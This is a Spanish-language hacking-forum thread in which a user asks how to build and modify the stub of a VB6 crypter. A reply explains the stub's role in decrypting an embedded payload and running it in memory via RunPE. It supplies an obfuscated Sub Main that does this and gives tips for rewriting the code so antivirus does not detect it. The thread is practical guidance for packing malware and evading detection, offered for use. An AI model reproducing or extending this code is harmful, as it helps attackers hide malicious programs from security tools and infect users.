elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Stub en VB 6
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Stub en VB 6  (Leído 2,321 veces)
Rama_04

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Stub en VB 6
« en: 16 Diciembre 2014, 05:28 am »

Hola comunidad. Quiero aclarar que soy nuevo en este tema y por eso estoy pidiendo una ayudita, por mas minima que sea sera muy bienvenida.

Hace 2 meses comence a leer sobre modding de Crypters y luego de leer muchos manuales y de informarme bastante pude crear mi propio Crypter en VB 6.

Ahora bien, al llegar a la parte del Stub tuve que copiar el codigo de un tutorial ya que busque en muchos foros y en Internet en general y no pude encontrar nada sobre como modificar un Stub o como crear uno.

Quisiera saber si alguien puede guiarme o decirme como crear un Stub y como modificarlo (siempre hablando de VB 6).

Desde ya muchisimas gracias.


En línea

mhcruz

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Stub en VB 6
« Respuesta #1 en: 29 Diciembre 2014, 20:10 pm »

Bueno, el stub es muy sencillo y te recomendare este tutorial:
http://indetectables.net/viewtopic.php?f=8&t=51265

en el cual aprenderas a crear tanto el stub como el cliente

solo tiene que comprender que el stub es lo que ejecuta el encryptado en memoria

y bueno el codigo consta de 5 lineas como mucho sin contar encryptacion y runpe

y solo decir que la encryptacion encrypta el archivo a ejecutar y el runpe lo ejecuta en memoria

y ya solo te queda el llamado main que simplemente cortara por un delimitador el archivo encryptado
de si mismo y lo des encryptara y ejecutara con el runpe

Un pequeño sub main:
Código:
Sub Main()
Dim Ï»•Ø•¶™ As String
Dim ‰±»±»»¾() As String
Dim ™±¾±™•¯ As String
Dim ¢¾¾»€»Ï() As Byte
Open App.Path & "\" & App.EXEName & ".eXe" For Binary As #1
Ï»•Ø•¶™ = Space$(LOF(1))
Get #1, , Ï»•Ø•¶™
Close #1
‰±»±»»¾ = Split(Ï»•Ø•¶™ , "Delimitador")
™±¾±™•¯ = ENCRYPTACION(‰±»±»»¾(1), "PassDeEncryptacion")
¢¾¾»€»Ï = StrConv(™±¾±™•¯, vbFromUnicode)
CALL RUNPE(App.Path & "\" & App.EXEName & ".eXe", ¢¾¾»€»Ï)
End Sub

y ya que preguntas de como modear, de este sub main, lo puedes modear en un segundo cambiando:

App.Path & "\" & App.EXEName & ".eXe" por una alternativa por ej:

Código:
Private Function Alternativa1() as string
dim a as string
dim b as string
dim c as string
dim d as string
a = app.path
b = app.exename
c = "\"
d = ".exe"

if app.path + "\" = app.path then
end
else
Alternativa1 = a+c+b+d
end function

y el Space$(LOF(1))
ese LOF por otra alternativa
como la de sLOF que encontraras por google

Un saludo, espero haber ayudado


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Ayuda] Stub.dll Indetectar
Dudas Generales
NyxKazuya 3 5,658 Último mensaje 2 Marzo 2011, 06:26 am
por SuperDraco
Acerca de DOS stub
ASM
x64core 7 4,410 Último mensaje 2 Junio 2012, 00:21 am
por H1tchclock
[?] Indetectar Stub + Dudas
Análisis y Diseño de Malware
MeCraniDOS 5 5,197 Último mensaje 18 Noviembre 2012, 12:57 pm
por Danyfirex
que es un stub viene con el crypter
Análisis y Diseño de Malware
full159 2 4,175 Último mensaje 19 Agosto 2014, 06:03 am
por Mr.Virus
Analisis de stub.dll con Java « 1 2 »
Análisis y Diseño de Malware
rub'n 12 7,785 Último mensaje 15 Febrero 2019, 22:54 pm
por rub'n
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines